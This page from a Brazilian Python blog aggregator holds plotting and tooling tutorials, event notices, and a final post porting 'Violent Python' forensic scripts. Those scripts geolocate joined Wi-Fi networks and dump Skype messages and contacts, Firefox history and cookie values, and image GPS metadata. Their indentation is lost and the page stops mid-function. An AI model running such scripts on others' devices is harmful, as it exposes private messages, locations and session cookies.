Planeta PythonBrasil

PythonBrasil[10]

August 28, 2015

Programando Ciência

Gráficos tridimensionais no Python [PARTE I] / Three-dimensional plots on Python [PART I]

Faaaaaaala cientista! Tudo certo?
Hoje vamos começar uma série de posts sobre gráficos 3D no Python. Vamo lá?

Hey scientist! How is it going?
Today we’ll start a post series about 3D plots on Python. Let’s do it!

Pra começar essa série estudaremos um gráfico 3D bem bacana, modificado desse exemplo aqui. O código-fonte usado nesse post está no repositório do Programando Ciência, dá uma olhada: http://www.github.com/alexandrejaguar/programandociencia. Instalou o Anaconda? Ou a versão Python do seu sistema? E o Spyder? Corre lá, instala o que falta e volta nesse post depois!

To start this series we’ll study a nice 3D plot, modified from this example. The source code of this post is on our repository, check it out: http://www.github.com/alexandrejaguar/programandociencia. Have you installed Anaconda? Or the Python version of your system? What about Spyder? Go for it, install what is missing and come back later!

Primeiro importamos as bibliotecas necessárias, a pyplot (presente na matplotlib) e a numpy:

First we import the libraries that we’ll use, pyplot (from matplotlib) and numpy:

import matplotlib.pyplot as plt
import numpy as np

Depois, definimos duas constantes: n_angles (número de ângulos) e n_radii (número de raios). Vamos usar os valores 72 e 4, respectivamente.

After that we define two constants: n_angles (number of angles) and n_radii (number of radii). Let’s use 72 and 4, respectively.

n_angles = 72
n_radii = 4

Agora vamos criar um vetor de raios com a função linspace(); esse vetor vai de 0,125 a 1 e é dividido no número de raios que definimos anteriormente. Ainda não incluímos zero, pra não duplicar os pontos depois.

Now we’ll create a radii vector using linspace(); this vector goes from 0.125 to 1 and it’s divided on the radii number which we defined previously. We won’t include zero yet, in order to not duplicate points.

radii = np.linspace(0.125, 1.0, n_radii)

Faremos a mesma coisa com os ângulos: num intervalo de 0 a 2*pi, teremos o número de ângulos definidos anteriormente. Veja que o número final do intervalo entra (endpoint=True).

We’ll do the same thing with the angles: from 0 to 2*pi, we’ll have the number of angles defined previously. Note that the interval final number is in (endpoint=True).

angles = np.linspace(0, 2*np.pi, n_angles, endpoint=True)

Então, para cada raio, repetiremos o vetor dos ângulos, criando uma malha. Essa malha representará os pontos da nossa função.

Then, for each radius, we repeat the angle vector, creating a grid. This grid will represent the points of our function.

angles = np.repeat(angles[..., np.newaxis], n_radii, axis=1)

Agora os pontos são convertidos de coordenadas polares (raio e ângulo) para coordenadas cartesianas (x e y). Aqui adicionamos o zero, usando append:

Now the points are converted from polar coordinates (radius and angle) to cartesian coordinates (x and y). Here we’ll add zero, using append:

x = np.append(0, (radii*np.cos(angles)).flatten())
y = np.append(0, (radii*np.sin(angles)).flatten())

Então podemos aplicar uma função nos pontos da malha. Escolhemos a função abaixo:

Then we can apply a function on the grid points. We chose the function below:

z = np.sin(-x*(y**2))+np.cos((x**2)*-y)

Depois criamos uma figura e indicamos a projeção em 3D.

After that we create a figure and indicate the 3D projection.

fig = plt.figure()
ax = fig.gca(projection='3d')

Finalmente, usamos a função plot_trisurf() para gerar nosso gráfico. Veja que o mapa de cores escolhido foi o ‘Oranges’, e o comprimento da linha é de 0,1. Quer testar mapas de cores diferentes? Veja quantas opções há nessa página aqui! Altere também o comprimento de linha e veja como o gráfico se comporta.

Finally, we use the function plot_trisurf() to generate our plot. Check that the we chose the colormap ‘Oranges’, and the line width is 0.1. Would you like to try different colormaps? Check the several options of this page here! Change also the line width and see how this plot behaves.

ax.plot_trisurf(x, y, z, cmap='Oranges', linewidth=0.1)
plt.show()

Pronto! O gráfico resultante é esse aqui:

There you go! The resulting plot is this one:

ex_trisurf

E é isso aí cientista! Faça testes com outras funções e veja os resultados. É só alterar a linha z = np.sin(-x*(y**2))+np.cos((x**2)*-y) e continuar os outros comandos.
Pra fechar, e nosso sorteio? Vai ficar de fora? Veja aqui como participar!
Por hoje é só! Um giga abraço!

That’s it for today scientist! Make some tests with another functions and see the results. Just change the line z = np.sin(-x*(y**2))+np.cos((x**2)*-y) and follow the other commands.
Gigaregards!


Gostou? Curta e compartilhe com seus amigos!
Curta a gente também no Facebook: www.facebook.com/programandociencia
Estou no Twitter! Siga-me se puder! @alexdesiqueira

Like this? Please comment and share with your friends!
Like us also on Facebook: www.facebook.com/programandociencia
I’m on Twitter! Follow me if you can! @alexdesiqueira


por alexandrejaguar em 28 de August de 2015 às 22:59

August 25, 2015

Julio Cesar Eiras Melanda

Nova turma de Django na CTNovatec!

Bom dia pessoal! Estão abertas as inscrições para a segunda turma do curso de Django do CT da Novatec!

Este curso tem a intenção de ensinar a desenvolvedores como usar o Django para criar aplicações desde a primeira linha de código. 

Nele você aprenderá a criar uma aplicação do zero até colocá-la no ar usando o serviço openshift da RedHat.

Confira mais informações na página do curso no CTNovatec!


 

por Julio Cesar Eiras Melanda em 25 de August de 2015 às 14:07

August 21, 2015

Grupy-DF

10º TutuPy

Novamente, nesta sexta-feira, dia 21 de Agosto de 2015, os membros do Grupy-DF realizaram o encontro quinzenal da comunidade. Em um número mais acanhado (apenas 9 integrantes), tivemos uma longa espera pelas picanhas e tutus, tempo este que nos permitiu constatar a queda na qualidade do nosso "ponto de encontro" e levantar possíveis alternativas.

A parte boa é que saudamos o criado da linguagem tomando uma cerveja de qualidade, compatriota de Guido van Rossum.

Cerveja Heineken

Neste tutupy foram abordados os seguintes assuntos:

  • "Conteinerização" para o site de associados da APyB;
  • Dificuldades na organização de eventos;
  • Batalhas de robôs (EUA vs Japão);
  • Compras de adesivo;
  • Criação de adesivos para o GrupyDF no StickerMule;
  • Alimentação vegetariana e vegana (abraço Bruno Rocha!);
10º Tutupy

Membros presentes no 10º TutuPy

Da esquerda pra direita, Starlone Passos, Marcio Mazza, Mariana, Pedro Henrique, Magnun Leno, Sergio Oliveira, Gilson Filho, Gabriel Miranda e Tania Andrea.

Onde?

Nosso encontro quinzenal ocorre no Restaurante Marambaia (CLS 311 BL C Loja 19 - Asa Sul). Você ainda tem dúvida de como chegar no TutuPy? Então aí vai um mapa...

por Magnun Leno em 21 de August de 2015 às 21:14

August 19, 2015

Bruno Cezar Rocha

10 rules of open source projects

1. Something incomplete is better than nothing at all

If you have a piece of code and you think it is useful. Share it to the community, if this is a code snippet you can share in the form of a gist on github. 

Even if this is an incomplete peace of software put it on github. Maybe missing documentation, tests and code cleanup but share it anyway! 

If this is only an idea, put it in aREADME file or post in to a blog.

2. Explicit is better than implicit (be honest)

Always include advices and notes in your project README or in code comments. If the code is incomplete and you are not sure if this is safe, please make it explicit to the community.

You can simply put CAUTION note: 

"Use at your own risk" or "Untested alpha version do not use in prodution" notes on the project page.

3. Release it carefully

Following the same principle as the item #2. If you think your software is good and has a good value to others. Or if you are wondering some kind of profit from it, do careful releases. what it means?

  • Use versioning, tags, semantic versioning
  • Only upload to the Package Distribution Central if you are sure the code is ready for production!

In Python world everyone uses pip install to get packages from PyPI. When something is installed throught pip you consider it is ready for production, there is no sense on using a not ready software installed from package distribution, beta testers will use source code and sometimes people who installs software from pip will trust on it without reading the docs (please read the docs).

The main problem is that broken packages on pip will be bad for Python itself!

Specially beginners will think that this is part of official Python platform. be careful!

4. Follow the patterns

Even if you do not like your community patterns. Remember you are not alone and since your project is open sourced it belongs to the community! 

In python there is a set of good practices and PEP-8 rules. You can break some special cases (as you can read in The Zen of Python) but you need to be clear on the justification. It will be better to help and broader adoption if you follow the patterns.

5. Write tests

Maybe you do not like to follow TDD. No problem! you can write tests after development, maybe you do not care of having 100% of coverage, no problem! But please!! 

Write some tests. 

Only you know which tests are the most important ones. Your project  community will not know what to test if you do not give some hints. 

Testing is the better way to begin contributing to a software. So write at least one test or your project doesn't get confidence.

6. Do not keep waiting for community help, your project depends only on you!

Sometimes you start a great software. Release it to github. Advertise it on blog posts and social networks. Talk about it on events. And even doing all that stuff your project doesn't get attraction and you demotivate. 

If you think your project is good keep on rocking it! 

Do not expect community help. The project depends only on you, and help and adoption will come naturally as it grows and shows its value. It can take some long time to get it.

7. Write the F** Docs!

You do not have to use some difficult documentation platform. Neither write in specific weird markup language (a.k.a RST). You can use any writing platform you want (but please don't use a ms-word document). 

Even more the community is adopting markdown as default and prefered for documentation. Markdown is easy and there is a lot of nice tools as MkDocs and good editors. 

You can just create a docs folder and fill it with a bunch of .md files, or you can use the built-in github wiki! Even if incomplete, write some docs, not everyone likes to use source code as reference.

8. Write an awesome documentation!

I know it is repeated, but this is important! Maybe more important than the software itself. Because without good docs your software will not be used and you will not get help!

Follow good examples. Even if your documentation is only a single README file you can do an fucking awesome README file!

9. Tutorials, videos, blog posts

Well. Documentation rises again. But now in form of content drops.

You have to show users and developers how your software works and what is the value on it. You can give tips on twitter. Record screen-casts, blog posts, a nice tutorial and advertise show cases. 

Just do it!

10. Community matters

Build a community! It can be done with simple and small actions.

  • Invite your friends to code in a sprint.
  • Give talks on events.
  • Create a nice logo and maybe a cute and funny mascot to print in stickers and stamps and give it to your friends.
  • Help other projects. You can help to fix some bug in a library you are using. And then advertise that you are using that library in your own project. 

So you will start building connections (it can grows to a whole ecosystem).

Let anyone helps! 

Maybe your priority is to fix difficult issues. But beginners will always try to find the easy to solve. So create some simple issues. Sometimes adjusting a .css file or fixing formatting in documentation. Or get your code PEP-8 compliant. Putting badges on your github page. All things that you can let the community to do. It will help your project to gain some angagement. Focus on difficult tasks and create issues for the easy ones, it is a good entry point for contributors!

If you are looking for a great project to contribute give Quokka CMS a try! :)

por Bruno Rocha em 19 de August de 2015 às 15:40

Python Help

Tente outra vez

Imagine que você está escrevendo um código que dependa de recursos externos e que podem falhar caso um servidor não esteja disponível (tipo, baixar uma página ou acionar uma API) ou caso algum recurso (pendrive, drive de DVD, etc) ainda não esteja pronto para operar. Digamos que você queira fazer isso funcionar de maneira robusta, tentando de novo quando uma operação falhar.

Há um tempo atrás mostramos aqui no blog um pequeno exemplo disso, explicando como baixar uma URL com tolerância a falhas simples em Python só com a biblioteca padrão. Acontece que tem um jeito melhor de fazer esse tipo de coisa, que resulta em código limpo e fácil de mudar: usar a biblioteca retrying.

Para começar, instale o pacote retrying com:

pip install retrying

Agora, para usar no seu código, importe o decorator retry (aprenda aqui sobre decorators) e use-o para alguma função que você deseja tentar de novo quando falhar (isto é, quando levantar alguma exceção):

from retrying import retry

@retry
def faz_algo_nao_confiavel():
    print("Tentando...")
    import random
    if random.randint(0, 10) > 1:
        raise RuntimeError("Putz, deu zica!")
    else:
        return "Funcionou!"

A função acima só funciona sem levantar exceção 20% das vezes que é chamada. Colocando o decorator, ela fica envolta em uma lógica que tenta de novo até que funcione sem a exceção. Rodando algumas vezes no meu laptop, a saída fica:

>>> faz_algo_nao_confiavel()
Tentando...
'Funcionou!'
>>> faz_algo_nao_confiavel()
Tentando...
Tentando...
Tentando...
Tentando...
Tentando...
Tentando...
Tentando...
'Funcionou!'
>>> faz_algo_nao_confiavel()
Tentando...
Tentando...
'Funcionou!'

Esse é apenas o jeito mais simples de usar. Em problemas do mundo real, você provavelmente vai querer configurar um intervalo de espera entre cada tentativa e também um limite máximo:

@retry(stop_max_attempt_number=7, wait_fixed=2000)
def busca_algo_na_rede():
    ....

A função acima será tentada no máximo 7 vezes, esperando 2 segundos (2000 ms) entre cada tentativa.

Outra opção interessante é o backoff exponencial, útil quando você quer ajustar a taxa de tentativas para não exigir demais de um sistema remoto que pode estar tendo dificuldades de sobrecarga. Veja um exemplo:

@retry(wait_exponential_multiplier=500, wait_exponential_max=30000)
def aciona_outro_sistema():
    ...

Nesse exemplo, caso a função falhar, será tentada novamente com um intervalo de espera calculado usando uma fórmula exponencial, tentando a primeira vez após 1s, na segunda 2s, na próxima 4s, 8s, 16s até o limite de 30s e então seguirá tentando com esse limite.

Quando não é adequado usar @retry?

Essa ideia de tentar de novo só funciona bem para operações que sejam idempotentes, isto é, que você pode acionar várias vezes sem alterar o resultado.

Por isso, quando quiser adicionar @retry em uma função existente, tenha cuidado para que seja uma função segura de ser chamada mais de uma vez. Em alguns casos, você terá que criar uma nova função com a parte que pode falhar e que funcione dependendo apenas dos próprios parâmetros (tornando-a assim idempotente) e colocar o @retry nessa função.


por Elias Dorneles em 19 de August de 2015 às 01:29

August 14, 2015

Programando Ciência

Trabalhando com o Spyder / Working with Spyder

Faaaaaaaaaaaaaaaala cientista! Hoje é dia de conhecer o Spyder, um ambiente de desenvolvimento para o Python que facilita demás a programação. Vamos lá?

Hey scientist! Today we’ll meet Spyder, a Python development environment which makes programming easier. Let’s do this!

O Spyder é um tudo-em-um para programação em Python: ele contém um editor multilinguagem, um console Python interativo e um visualizador de documentação, além de gerenciadores de variáveis e de arquivos.

Spyder is an all-in-one tool for Python programming: it contains a multi-language editor, an interactive Python console and a documentation viewer, in addition to a file and a variable explorers.

Vimos como instalar o Spyder em sua distribuição Anaconda nesse post aqui; creio que esse é o melhor caminho! Caso queira instalá-lo pelo repositório da sua distribuição, use o gerenciador de pacotes da sua distro. En distribuições baseadas no Debian Linux (Ubuntu, Mint, …), o comando no terminal é o seguinte:

We saw how to install Spyder on your Anaconda in this post; I believe that this is the better way! If you’d like to install it using the repository of your distribution, use the package manager of your distro. In Debian-based distros (Ubuntu, Mint, …) the terminal command follows:

apt_installspyder

Assim que abrimos o Spyder ele tem a cara abaixo. Veja que o editor fica à esquerda, à direita/acima ficam o inspetor de objetos e os gerenciadores de variáveis e arquivos (veja as abas!) e à direita/abaixo ficam o console Python, o histórico e o console IPython. Um arquivo temporário já aparece aberto no editor, o temp.py.

When we open Spyder it looks like below. Check the editor at left, the object inspector, the variable and file explorers (see the tabs!) at right/up and the Python and IPython consoles and the history log. A temporary file appears already open on the editor; it’s called temp.py.

spyder_screen

Vamos testar o Spyder! Para isso usaremos um exemplo modificado do Matplotlib Digite esse código no editor do Spyder. Ele vai ficar assim:

Let’s try Spyder! To do that we’ll use an Matplotlib modified example. Type that code on Spyder editor. It’ll look like this:

spyder_example

Grave esse arquivo com o nome plot_exemplo.py, usando a opção “Save as…” no menu “File“:

Save that file with the name plot_exemplo.py, using the option “Save as…” from the menu “File”:

spyder_saveas

Tá com preguiça de digitar o código? Baixe-o no repositório do Programando Ciência, nesse link!

Too lazy to type the code? Download it on this link, the Programando Ciência repository!

Pronto! Para executar esse arquivo clique em “Run file” ou pressione F5. O resultado é a figura que aparece no console IPython:

That’s it! To run this file, click on “Run file” or press F5. The result is the figure shown on IPython console:

exemplo_run

Para criar um novo arquivo clique em “New file” ou pressione CTRL+N. Veja que os arquivos aparecem em diferentes abas:

To create a new file, click on “New file” or press CTRL+N. Look the files on different tabs:

exemplo_new

E você pode digitar um novo arquivo e trabalhar nele. / Then you can type a new file and work on it.

O que achou do Spyder? Utilize-o para gravar e testar os comandos desse post aqui, daquele e daquele outro!
É tudo nessa semana, caro cientista! Um giga abraço!

Did you like Spyder? Use it to save and test the commands on this post, that and another that!
That’s it for the week dear scientist! Gigaregards!


Gostou? Curta e compartilhe com seus amigos!
Curta a gente também no Facebook: www.facebook.com/programandociencia
Estou no Twitter! Siga-me se puder! @alexdesiqueira

Like this? Please comment and share with your friends!
Like us also on Facebook: www.facebook.com/programandociencia
I’m on Twitter! Follow me if you can! @alexdesiqueira


por alexandrejaguar em 14 de August de 2015 às 12:00

August 12, 2015

Julio Cesar Eiras Melanda

Python Vale em Lorena - 29-08-2015

Fala Pessoal!

No dia 29 de agosto vai rolar mais um Python Vale! Desta vez, a organização é da FATEA.

Segue o link para inscrição no evento e o banner com a grade.

Estarei lá dando uma introdução ao Python para o pessoal!

Não perca!

Link para se inscrever

 

por Julio Cesar Eiras Melanda em 12 de August de 2015 às 17:30

August 11, 2015

Sergio Mateus

Qual o melhor material para se começar com python ? Chapter 3

Disponível a alteração do terceiro capítulo dos códigos fonte do livro Violent Python - A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers do autor TJ O'Connor da editora Elsevier / Syngress, ISBN-13: 978-1597499576 ISBN-10: 1597499579.

Em breve estarei disponibilizando o capítulo 4.

Segue link para o GitHub dos arquivos:
https://github.com/smateusjr/Violent-Python

Abaixo os arquivos com comentários para auxiliar.

1-discoverNetworks.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import optparse
import mechanicalsoup
import re

# Funciona apenas no windows, esse pacote nao existe no linux
from winreg import *


def val2addr(val):
""" Funcao para validar o Mac encontrado """

addr = ''
# Loopa os Macs encontrados
# Transforma todos os MACs encontrados em uma unica string
for ch in val:
addr += '%02x ' % ord(ch)
# Cria uma lista com os MACs encontrados
addr = addr.strip(' ').replace(' ', ':')[0:17]
return addr


def wiglePrint(username, password, netid):
""" Funcao para logar no wiglet e encontrar a lat e log da rede informada """

# Cria um objeto do mechanicalsoup para abrir um site
browser = mechanicalsoup.Browser()

# Abre a pagina de login do wigle
login_page = browser.get('https://wigle.net/login')

# Procura no html da pagina de login a div com a classe 'loginBox'
# Dentro da div, procura o formulario de login
login_form = login_page.soup.select('.loginBox')[0].select('form')[0]

# Seta o login e senha para o formulario encontrado
login_form.select('#cred0')[0]['value'] = username
login_form.select('#cred1')[0]['value'] = password

# Envia o formulario e para logar no wigle
login = browser.submit(login_form, login_page.url)

# Verifica o retorno da tentativa de login
if login.soup.find('div', class_='pageLogoDiv'):
return

# Abre a pagina de busca do wigle
search_page = browser.get('https://wigle.net/search')

# Procura uma div com o id 'detaillocationDiv'
# Dentro da div, procura o formulario de busca
search_form = search_page.soup.select('#detaillocationDiv')[0].select('form')[0]

# Seta o mac da rede para a busca no input text de id 'netidloc'
search_form.select('#netidloc')[0]['value'] = netid

# Envia o formulario de busca
search = browser.submit(search_form, search_page.url)

rLat = 'N/A'
rLon = 'N/A'

resp = search.soup.select('#test')[0]
# Busca dentro a tabela a latitude
rLat = re.findall('Est. Latitude

(.*?)', resp)
# Busca dentro a tabela a latitude
rLon = re.findall('Est. Longitude(.*?)', resp)

print('[-] Lat: %s, Lon: %s' % (rLat[0], rLon[0]))


def printNets(username, password):
""" Pesquisa as redes no registro do windows """

# Faz uma pesquisa na suas redes nos registros do windows
net = 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\NetworkList\\Signatures\\Unmanaged'
# Abre o registro encontrado
key = OpenKey(HKEY_LOCAL_MACHINE, net)
print('\n[*] Networks You have Joined.')
for i in range(100):
try:
# Cria um indice numerico para os subregistros do registro informado
guid = EnumKey(key, i)
# Abre um registro do windows
netKey = OpenKey(key, str(guid))
# Cria um indice numerico para o registro informado
(n, addr, t) = EnumValue(netKey, 5)
(n, name, t) = EnumValue(netKey, 4)
# Chama a funcao para validar os mac encontrados
macAddr = val2addr(addr)
# Transforma o nome da rede em string
netName = str(name)
print('[+] %s %s' % (netName, macAddr))
# Chama a funcao para logar no wigle
wiglePrint(username, password, macAddr)
# Fecha o registro
CloseKey(netKey)
except:
break


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -u -p ')

# Separa os parametros solicitados
parser.add_option('-u', dest='username', type='string', help='specify wigle password')
parser.add_option('-p', dest='password', type='string', help='specify wigle username')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
username = options.username
password = options.password

# Se nao receber os parametros solicitados para o script
if not username or not password:
print(parser.usage)
exit(0)
else:
printNets(username, password)

# Chama a funcao main principal
if __name__ == '__main__':
main()


2-dumpRecycleBin.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import os
from winreg import *


def sid2user(sid):
""" Recupera o usuario, procurando no registro do windows """

try:
# Abre a registros do windows pelo sid informado
key = OpenKey(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\\%s' % (sid))
# Recupea o tipo e o valor do registro
(value, type) = QueryValueEx(key, 'ProfileImagePath')
# Divide a valor do registro e pega o usuario
user = value.split('\\')[-1]
return user
except:
return sid


def returnDir():
""" Funcao para verificar qual o caminho absoluto da lixeira """

# Lista com os possiveis caminhos
dirs = ['C:\\Recycler\\', 'C:\\Recycled\\', 'C:\\$Recycle.Bin\\']

# Loopa os possivel caminhos da lixeira
for recycleDir in dirs:
# Se o caminho informado existir, encontro
if os.path.isdir(recycleDir):
# Retorna o caminho, caso exista
return recycleDir
return None


def findRecycled(recycleDir):
""" Funcao para listar os arquivos da lixeira """

# Pega todo os diretorios da lixeira
dirList = os.listdir(recycleDir)
# Loopa todo os diretorios da lixeira
for sid in dirList:
# Lista todos os diretorios da lixeira
files = os.listdir(recycleDir + sid)
# Chama a funcao que pega o usuario
user = sid2user(sid)
print('\n[*] Listing Files For User: %s' % str(user))
for file in files:
print('[+] Found File: %s' % str(file))


def main():
""" Funcao principal """

# Chama a funcao que encontra o diretorio da lixeira
recycledDir = returnDir()
# Chama a funcao que lista os arquivos da lixeira
findRecycled(recycledDir)

# Chama a funcao main principal
if __name__ == '__main__':
main()


3-botNet.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import optparse
from PyPDF2 import PdfFileReader


def printMeta(fileName):
""" Abre e recupera informacoes do pdf """

# Abre o pdf
pdfFile = PdfFileReader(open(fileName, 'rb'))
# Pega as informacoes do pdf
docInfo = pdfFile.getDocumentInfo()
print('[*] PDF MetaData For: %s' % str(fileName))
# Se existir informacoes retorna
if docInfo:
# Loopa as informacoes do pdf
for metaItem in docInfo:
print('[+] %s:%s' % (metaItem, docInfo[metaItem]))
else:
print('[+] No Document Info')


def main():
""" Funcao principal """

# Separa os parametros solicitados
parser = optparse.OptionParser('usage %prog -F ')
parser.add_option('-F', dest='fileName', type='string', help='specify PDF file name')

# Faz o parse dos parametros
(options, args) = parser.parse_args()

# Se nao receber os parametros solicitados para o script
fileName = options.fileName
if not fileName:
print(parser.usage)
exit(0)
else:
# Chama a funcao de leitura do pdf
printMeta(fileName)

# Chama a funcao main principal
if __name__ == '__main__':
main()


4-exifFetch.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib.request
import optparse
from urllib.parse import urlsplit
from os.path import basename
from bs4 import BeautifulSoup
from PIL import Image
from PIL.ExifTags import TAGS


def findImages(url):
""" Funcao que procura imagens em uma url """

print('[+] Finding images on %s' % (url))
# Abre a url informada
urlContent = urllib.request.urlopen(url).read()
# Faz um soup e cria um objeto
soup = BeautifulSoup(urlContent)
# Faz um procura pela tag img na url
imgTags = soup.findAll('img')
return imgTags


def downloadImage(imgTag):
""" Funcao para baixar as imagens de uma url """

try:
print('[+] Dowloading image...')
# Recupera o atributo src, da tag img, onde tem o endereco para imagem
imgSrc = imgTag['src']
# Abre a url da imagem
imgContent = urllib.request.urlopen(imgSrc).read()
# Recupera o nome da imagem
imgFileName = basename(urlsplit(imgSrc)[2])
# Abre/Cria um arquivo com o nome da imagem
imgFile = open(imgFileName, 'wb')
# Escreve todo o conteudo da imagem no arquivo criado acima, assim faz uma copia da imagem
imgFile.write(imgContent)
# Fecha o arquivo da imagem
imgFile.close()
# retorna a imagem
return imgFileName
except:
return ''


def testForExif(imgFileName):
""" Funcao que recupera inforamacoes de uma imagem """

try:
exifData = {}
# Abre a imagem informada
imgFile = Image.open(imgFileName)
# Recupera as informacoes metadata de uma imagem
info = imgFile._getexif()
if info:
# Loopa todo o conteudo encontrado
for (tag, value) in info.items():
# Recupera valor e o nome da tag da metadata
decoded = TAGS.get(tag, tag)
# Cria um array com o nome e a valor do metadata
exifData[decoded] = value
# Retorna apenas o GPSInfo da imagem
exifGPS = exifData['GPSInfo']
if exifGPS:
print('[*] %s contains GPS MetaData' % (imgFileName))
except:
pass


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -u ')
# Separa os parametros solicitados
parser.add_option('-u', dest='url', type='string', help='specify url address')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
url = options.url

# Se nao receber os parametros solicitados para o script
if not url:
print(parser.usage)
exit(0)
else:
# Chama a funcao que localiza as imagens da url informada
imgTags = findImages(url)
for imgTag in imgTags:
# Chama a funcao que procura e faz o download das imagens na url informada
imgFileName = downloadImage(imgTag)
# Chama a funcao que recupera as informacoes das imagens
testForExif(imgFileName)

# Chama a funcao main principal
if __name__ == '__main__':
main()


5-skypeParse.py


#!/usr/bin/python
# -*- coding: utf-8 -*-
import sqlite3
import optparse
import os


def printProfile(skypeDB):
""" Funcao que imprime os profiles da base de dados do skype """

# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(skypeDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT fullname, skypename, city, country, datetime(profile_timestamp,"unixepoch") FROM Accounts;')

# Imprime o resultado
for row in c:
print('[*] -- Found Account --')
print('[+] User : %s' % (str(row[0])))
print('[+] Skype Username : %s' % (str(row[1])))
print('[+] Location : %s, %s' % (str(row[2]), str(row[3])))
print('[+] Profile Date : %s' % (str(row[4])))


def printContacts(skypeDB):
""" Funcao que imprime os contatos da base de dados do skype """

# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(skypeDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT displayname, skypename, city, country, phone_mobile, birthday FROM Contacts;')

# Imprime o resultado
for row in c:
print('\n[*] -- Found Contact --')
print('[+] User : %s' % (str(row[0])))
print('[+] Skype Username : %s' % (str(row[1])))

if str(row[2]):
print('[+] Location : %s, %s' % (str(row[2]), str(row[3])))
if str(row[4]):
print('[+] Mobile Number : %s' % (str(row[4])))
if str(row[5]):
print('[+] Birthday : %s' % (str(row[5])))


def printCallLog(skypeDB):
""" Funcao que imprime os contatos da base de dados do skype """

# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(skypeDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT datetime(begin_timestamp,"unixepoch"), identity FROM calls, conversations WHERE calls.conv_dbid = conversations.id;')
print('\n[*] -- Found Calls --')

# Imprime o resultado
for row in c:
print('[+] Time: %s | Partner: %s' % (str(row[0]), str(row[1])))


def printMessages(skypeDB):
""" Funcao que imprime os contatos da base de dados do skype """

# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(skypeDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT datetime(timestamp,"unixepoch"), dialog_partner, author, body_xml FROM Messages;')
print('\n[*] -- Found Messages --')

# Imprime o resultado
for row in c:
try:
if 'partlist' not in str(row[3]):
if str(row[1]) != str(row[2]):
msgDirection = 'To ' + str(row[1]) + ': '
else:
msgDirection = 'From ' + str(row[2]) + ' : '
print('Time: %s %s%s' % (str(row[0]), msgDirection, str(row[3])))
except:
pass


def main():
""" Funcao principal """

# Parse explicando como deve ser a chamada do script
parser = optparse.OptionParser('usage %prog -p ')

# Separa os parametros solicitados
parser.add_option('-p', dest='pathName', type='string', help='specify skype profile path')

# Faz o parse dos parametros
(options, args) = parser.parse_args()
pathName = options.pathName

# Se nao receber os parametros solicitados para o script
if not pathName:
print(parser.usage)
exit(0)
# Verifica se foi passado o caminho do arquivo da base de dados do skype
elif not os.path.isdir(pathName):
print('[!] Path Does Not Exist: %s' % (pathName))
exit(0)
else:
# Concatena o caminho com o nome do arquivo de base de dados
skypeDB = os.path.join(pathName, 'main.db')
# Valida se existe o caminho completo do arquivo de banco de dados do skype
if os.path.isfile(skypeDB):
# Chama a funcao que imprime os profiles do banco
printProfile(skypeDB)
# Chama a funcao que imprime os contato do banco
printContacts(skypeDB)
# Chama a funcao que imprime as chamadas do banco
printCallLog(skypeDB)
# Chama a funcao que imprime sa mensagens do banco
printMessages(skypeDB)
else:
print('[!] Skype Database does not exist: %s' % (skypeDB))

# Chama a funcao main principal
if __name__ == '__main__':
main()


6-firefoxParse.py


#!/usr/bin/python
# -*- coding: utf-8 -*-

import re
import optparse
import os
import sqlite3


def printDownloads(downloadDB):
""" Funcao que imprime os downloads realizados no firefox """

# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(downloadDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT name, source, datetime(endTime/1000000,"unixepoch") FROM moz_downloads;')
print('\n[*] --- Files Downloaded --- ')

# Imprime o resultado
for row in c:
print('[+] File: %s from source: %s at: %s' % (str(row[0]), str(row[1]), str(row[2])))


def printCookies(cookiesDB):
""" Funcao que imprime os cookies do firefox """

try:
# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(cookiesDB)
c = conn.cursor()
# Faz o select no banco
c.execute('SELECT host, name, value FROM moz_cookies')

print('\n[*] -- Found Cookies --')

# Imprime o resultado
for row in c:
host = str(row[0])
name = str(row[1])
value = str(row[2])
print('[+] Host: %s, Cookie: %s, Value: %s' % (host, name, value))

# Exception com o erro
except Exception as e:
if 'encrypted' in str(e):
print('\n[*] Error reading your cookies database.')
print('[*] Upgrade your Python-Sqlite3 Library')


def printHistory(placesDB):
""" Funcao que imprime o historico do firefox """

try:
# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(placesDB)
c = conn.cursor()
# Faz o select no banco
c.execute('select url, datetime(visit_date/1000000, "unixepoch") from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;')

print('\n[*] -- Found History --')

# Imprime o resultado
for row in c:
url = str(row[0])
date = str(row[1])
print('[+] %s - Visited: %s' % (date, url))

# Exception com o erro
except Exception as e:
if 'encrypted' in str(e):
print('\n[*] Error reading your places database.')
print('[*] Upgrade your Python-Sqlite3 Library')
exit(0)


def printGoogle(placesDB):
""" Funcao que imprime o historico do firefox """

# Conecta via sqlite no arquivo de base de dados
conn = sqlite3.connect(placesDB)
c = conn.cursor()
# Faz o select no banco
c.execute('select url, datetime(visit_date/1000000, "unixepoch") from moz_places, moz_historyvisits where visit_count > 0 and moz_places.id==moz_historyvisits.place_id;')

print('\n[*] -- Found Google --')

# Imprime o resultado
for row in c:
url = str(row[0])
date = str(row[1])
# Se encontrar alguma pesquisa por google faz um parser e separa o que foi pesquisado
if 'google' in url.lower():
# Faz um parser e separa o que foi pesquisado
r = re.findall(r'q=.*\&', url)
# Se econtrar alguma coisa imprime
if r:
